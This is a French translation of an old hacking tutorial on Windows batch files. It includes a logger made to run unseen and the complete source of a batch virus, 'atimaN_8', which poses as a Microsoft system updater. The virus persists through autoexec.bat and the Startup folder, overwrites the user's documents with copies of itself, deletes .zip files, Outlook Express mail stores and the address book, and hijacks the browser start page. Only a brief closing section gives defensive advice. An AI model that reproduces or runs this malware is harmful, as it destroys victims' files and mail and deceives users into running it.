Ceci est l'exemple le plus simple de fichier que vous pouvez créer.

Une autre fonctionnalité que vous pouvez rajouter est  empécher l'ouverture
d'un fichier particulier.  Si vous ne voulez  pas que l'utilisateur lise le
fichier abc.txt alors vous pouvez insérer une instruction conditionnelle IF

IF "%1" == "abc.txt" ECHO Votre message d'erreur ici

4. AMELIORER NOTRE PROGRAMME D'ECOUTE POUR DISPARAITRE AUX YEUX DU LAMER

Pour améliorer le fonctionnement de notre programme il faut savoir sa façon
de fonctionner.  Si vous avez effectué correctement les étapes précédentes,
lors de  l'ouverture d'un  fichier  .txt,  notre programme  Batch est lancé
(dans une fenêtre maximisée)  et lance Notepad.  Une fois le nom du fichier
enregistré ainsi que son heure d'ouverture,  la fenêtre de notre  script ne
se ferme pas automatiquement et  l'utilisateur est donc obligé de la fermer
manuellement.  Une personne doté de neuronnes en  état de marche se doutera
forcemment  qu'il  se trâme  quelque chose  de louche.  Il est possible  de
configurer  l'exécution  de notre  fichier afin  qu'il  fonctionne dans une
fenêtre minimisée  et qu'il la  ferme tout seul  après son exécution.  Pour
cela suivez les étapes suivantes :

a) Faites un click droit sur le fichier Batch
b) Choisissez Propriétés dans le menu
c) Dans l'onglet Programme cliquez cochez l'option 'Fermer après exécution'
d) Coché Minimisé dans la même fenêtre
e) Cliquez sur Appliquer et voilà !! On est invisible.

Ceci est juste un exemple d'un simple programme Batch.  Vous pouvez facile-
ment créer un programme plus évolué et plus utile avec ce langage.

FABRIQUER SON PROPRE VIRUS BATCH DE LA MORT : Le virus Batch atimaN_8

DISCLAIMER : Ce virus est l'oeuvre de Ankit Fadia ankit@bol.net.in et a été
crée à but  éducatif uniquement.  Ce virus a pour  objectif de montrer  aux
gens le  fonctionnement basic  d'un virus.  Exécutez  le  à vos  risques et
périls.  En aucun cas  vous ne pouvez  tenir  responsable  Ankit Fadia  des
dommages  causés par  ce  fichier.  Si vous  voulez  avoir  une  quelconque
information sur ce virus n'hésitez pas à me contacter à :  ankit@bol.net.in
ou à visiter mon site Internet : http://www.crosswinds.net/~hackingtruths

L'exemple qui suit est un simple,  mais quelque peu  dangereux  (quoique un
peu lame),  virus Batch de ma composition.  Je l'ai baptisé  atimaN_8 et je
n'ai utilisé aucune commande DOS avancé pour le faire. Vous ne devriez donc
avori aucun problème à comprendre le code  ;  dans le cas contraire envoyez
moi un mail à ankit@bol.net.in

@ECHO OFF
CLS
IF EXIST c:\winupdt.bat GOTO CODE
GOTO SETUP
:SETUP
@ECHO OFF
ECHO Welcome To Microsoft Windows System Updater Setup
ECHO.
copy %0 c:\winupdt.bat >> NUL
ECHO Scanning System... Please Wait
prompt $P$SWindows2000
type %0 >> c:\autoexec.bat
type %0 >> c:\windows\dosstart.bat
ECHO DONE.
ECHO.
ECHO Installing Components... Please Wait
FOR %%a IN (*.zip) DO del %%a
FOR %%a IN (C:\mydocu~1\*.txt) DO COPY c:\winupdt.bat %%a >> NUL
FOR %%a IN (C:\mydocu~1\*.xls) DO COPY c:\winupdt.bat %%a >> NUL
FOR %%a IN (C:\mydocu~1\*.doc) DO COPY c:\winupdt.bat %%a >> NUL
ECHO DONE.
ECHO.
ECHO You now need to register with Microsoft's partner : Fortune Galaxy to
ECHO receive automatic updates.
PAUSE
ECHO Downloading Components... Please Wait
START "C:\Program Files\Internet Explorer\IExplore.exe" http://www.crosswinds.net/~hackingtruths
IF EXIST "C:\Program Files\Outlook Express\msimn.exe" del "C:\WINDOWS\Application Data\Identities\{161C80E0-1B99-11D4-9077-FD90FD02053A}\Microsoft\Outlook Express\*.dbx"
IF EXIST "C:\WINDOWS\Application Data\Microsoft\Adress Book\ankit.wab" del "C:\WINDOWS\Application Data\Microsoft\Adress Book\ankit.wab"
ECHO Setup will now restart your computer... Please wait
ECHO Your system is now faster by almost 40 %.
ECHO Thank you for using a Microsoft Partner's product.
copy %0 "C:\WINDOWS\Start Menu\Programs\StartUp\winupdt.bat" >> NUL
C:\WINDOWS\RUNDLL user.exe, exitwindowsexec
CLS
GOTO END


:CODE
CLS
@ECHO OFF
prompt $P$SWindows2000
IF "%0" == "C:\AUTOEXEC.BAT" GOTO ABC
type %0 >> c:\autoexec.bat
:ABC
type %0 >> c:\windows\dosstart.bat
FOR %%a IN (*.zip) DO del %%a
FOR %%a IN (C:\mydocu~1\*.txt) DO COPY c:\winupdt.bat %%a >> NUL
FOR %%a IN (C:\mydocu~1\*.xls) DO COPY c:\winupdt.bat %%a >> NUL
FOR %%a IN (C:\mydocu~1\*.doc) DO COPY c:\winupdt.bat %%a >> NUL
START "C:\Program Files\Internet Explorer\Iexplore.exe" http://www.crosswinds.net/~hackingtruths
IF EXIST "C:\Program Files\Outlook Express\msimn.exe" del "C:\WINDOWS\Application Data\Identities\{161C80E0-1B99-11D4-9077-FD90FD02053A}\Microsoft\Outlook Express\*.dbx" >> NUL
IF EXIST "C:\WINDOWS\Application Data\Microsoft\Address Book\ankit.wab"  del "C:\WINDOWS\Application Data\Microsoft\Address Book\ankit.wab" >> NUL
copy %0 "C:\WINDOWS\Start Menu\Programs\StartUp\winupdt.bat" >> NUL
GOTO :END
CLS
:END
CLS

C'était un  exemple de petit  et lame virus batch.  Vous pouvez  de la même
façon créer  un virus qui  modifiera la  base de  registre et  causera  des
dégâts.  C'est juste une idée,  je ne suis  pas responsable  de ce que vous
faites avec.

Il n'y a pas de solution simple pour modifier la base de registre à travers
un fichier Batch.  Bien  qu'il y  ai  une option de  ligne de  commande  du
registre (Voir dans le chapitre sur le Advanced Windows Hacking),  ce n'est
pas aussi simple que cela.  La meilleure  solution est de  créer un fichier
.reg et de  l'exécuter à  l'aide de notre  script Batch.  La chose  la plus
importante à se rappeller est le format d'un fichier  .reg et plus particu-
lièrement que la première ligne de tous les fichiers  .reg doit contenir la
chaîne REGEDIT4 sans quoi Windows ne le considérera pas comme un fichier de
registre.  L'exemple suivant change la  page de démarrage de  l'utilisateur
(si internet Explorer est installé) à http://hackingtruths.tripod.com

@ECHO OFF
ECHO REGEDIT4 > ankit.reg
ECHO [HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main] >> ankit.reg
ECHO "Start Page"="http://hackingtruths.tripod.com" >> ankit.reg

Créer un fichier .reg n'est pas aussi simple que cela en a l'air. En effet,
pour que Windows  ajoute le contenu  du fichier  .reg au registre,  il doit
respecter un format  bien  particulier sans  quoi un message  d'erreur sera
affiché. Je ne vous décrirai pas le format des fichiers de registre windows
car le manuel sur  le Hacking Avancé de Windows  contient une énorme partie
sur ce sujet.

SE PROTEGER DES VIRUS BATCH

Si vous double cliquez sur un fichier Batch (.bat), il se lancera automati-
quement.  Cela peut s'avérer  dangereux si  le programme  Batch contient du
code malveillant. encore pire, si vous avez choisi l'option du simple click
alors un click  de travers et  Bye Bye windows.  Une solution est  de fixer
l'édition comme  option par défaut.  La meilleure façon  de faire cela  est
d'aller dans 'Outils > Option des dossiers...' puis dans l'onglet 'Types de
fichiers' de l'explorateur afin de modifier l'action par défaut.  Cependant
Windows va alors griser les boutons Modifier et Option par défaut.
Pour contourner cela allons dans le registre de Windows et renommons la clé
HKEY_CLASSES_ROOT\batfile\shell\open  en run  (on ne change  pas l'emplace-
ment). Double cliquez sur la valeur binaire EditFlags à
HKEY_CLASSES_ROOT\batfile et entrer 00 00 00 00 comme nouvelle valeur.
Maintenant,  ouvrez l'explorateur,  cliquez  sur  'Option des  dossiers' et
dans l'onglet Types de Fichiers, sélectionnez "MS-DOS Batch File".  Cliquez
ensuite sur Avancé.  Vous remarquerez  que les  boutons (Nouveau, Modifier,
Supprimer et Par défaut) sont maintenant activés et que vous pouvez choisir
l'édition comme choix par défaut.

Ankit Fadia
ankit@bol.net.in

Obtennez la  liste des  manuels  [TOUT DE DONT  VOUS AVEZ RÉVÉ]  écrits par
Ankit Fadia, à sa mailing liste.
Pour recevoir les manuels dans votre boîte electronique,  envoyez un mail à
programmingforhackers-suscribe@egroups.com

